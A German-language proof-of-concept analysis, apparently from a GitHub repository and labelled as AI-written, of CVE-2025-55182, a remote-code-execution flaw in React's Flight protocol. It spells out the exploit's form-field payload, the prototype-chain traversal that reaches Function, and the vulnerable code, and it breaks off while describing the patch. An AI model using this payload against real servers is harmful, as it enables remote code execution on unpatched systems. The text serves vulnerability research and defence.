Technischer Proof-of-Concept und tiefgehende Analyse von CVE-2025-55182, einer kritischen RCE-Schwachstelle im Flight-Protokoll von React durch Pfad-Traversal, Fake-Chunk-Injection und $B-Handler-Missbrauch.
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 ist eine kritische RCE-Schwachstelle im React Flight Protocol. Der Angriff verknüpft path traversal + fake chunk injection + $B handler abuse, um Function(attacker_code) auszuführen.
Großer Dank an maple3142 für die funktionierende Exploitation-Chain!
Der Exploit verwendet drei Formularfelder, um eine schädliche Nutzlast zu konstruieren:
then (Feld 1 $@0 → Feld 0)_response ein, bei der _formData.get auf $1:constructor:constructor gesetzt ist.$B-Handler aus, der response._formData.get(response._prefix + id) aufruft._formData.get → Function auf und führt Function(code) aus.┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Schlüsselkomponenten
| Komponente | Zweck |
|-----------|---------|
| `then: "$1:__proto__:then"` | Selbstreferenzierendes Thenable; Chunk 1 (`$@0`) verweist zurück auf Chunk 0 |
| `status: "resolved_model"` | Lässt das Objekt als gültigen React-Chunk erscheinen |
| `reason: -1` | Setzt rootReference auf undefined (vermeidet Referenzkonflikte) |
| `value: '{"then":"$B1337"}'` | Verschachtelte Payload, die den `$B`-Handler auslöst |
| `_response._prefix` | Enthält den RCE-Code-String |
| `_response._chunks: "$Q2"` | Leere Map, um Abstürze während der Chunk-Verarbeitung zu verhindern |
| `_response._formData.get` | Zeigt über `$1:constructor:constructor` auf `Function` |
### Komponenten im Detail
#### Struktur des Formularfelds
Der Exploit verwendet drei Formularfelder mit zirkulären Referenzen:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Das then: "$1:__proto__:then" erzeugt eine Selbstreferenz, die zu einer echten Funktion aufgelöst wird:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Warum dies entscheidend ist:**
1. `then` wird zu `Chunk.prototype.then` aufgelöst - einer echten aufrufbaren Funktion
2. Dies macht das gefälschte Objekt zu einem gültigen Thenable
3. Wenn es erwartet wird (awaited), ruft JS `obj.then(resolve, reject)` auf
4. `Chunk.prototype.then` wird mit dem gefälschten Objekt als `this` ausgeführt:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) verwendet this._response - die gefälschte _response des Angreifers:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Ohne den Selbstverweis** würde das gefälschte `_response` niemals verwendet werden. Der Selbstverweis bewirkt, dass `Chunk.prototype.then` das Objekt des Angreifers als echtes Chunk behandelt.
#### Zwei-Stufen-Thenable-Trigger (`value`)
Das Feld `value` enthält einen verschachtelten JSON-String mit einem weiteren Thenable:```json
{"then":"$B1337"}
Stage 1: Selbstreferenzierendes then des äußeren Objekts löst Chunk-Verarbeitung aus
Stage 2: Wenn React das Modell auflöst, parst es value und stößt auf ein weiteres thenable mit then: "$B1337". Das Präfix $B löst den Handler aus:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` ist `"$1:constructor:constructor"` → `getOutlinedModel()` ergibt `Function`.
Daraus wird: `Function(code + "1337")` → gültiges JS, da `1337` nur ein nachgestellter Ausdruck ist.
#### Defensives Padding (`_chunks`)
Das gefälschte `_response` benötigt eine gültige `_chunks`-Eigenschaft, um Abstürze zu verhindern:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Der interne Code von React greift während der Verarbeitung möglicherweise auf response._chunks.get() oder response._chunks.has() zu. Eine leere Map erfüllt diese Aufrufe fehlerfrei und ermöglicht so die Ausführung bis zum anfälligen $B-Handler.
| Path | Function | Purpose in Exploit |
|---|---|---|
| Pfad-Traversal | getOutlinedModel() | Löst $1:constructor:constructor → Function auf |
Fake _response Injection | initializeModelChunk() | Verwendet chunk._response des Angreifers |
$B Handler | parseModelString() | Ruft _formData.get(_prefix + id) auf → RCE |
decodeReply() ist der Einstiegspunkt, selbst nicht anfällig.
Pfad-Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Fake Response Nutzung** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
## Der Fix (19.2.1)
Der Patch enthält mehrere Korrekturen:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Kritischer Fix ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);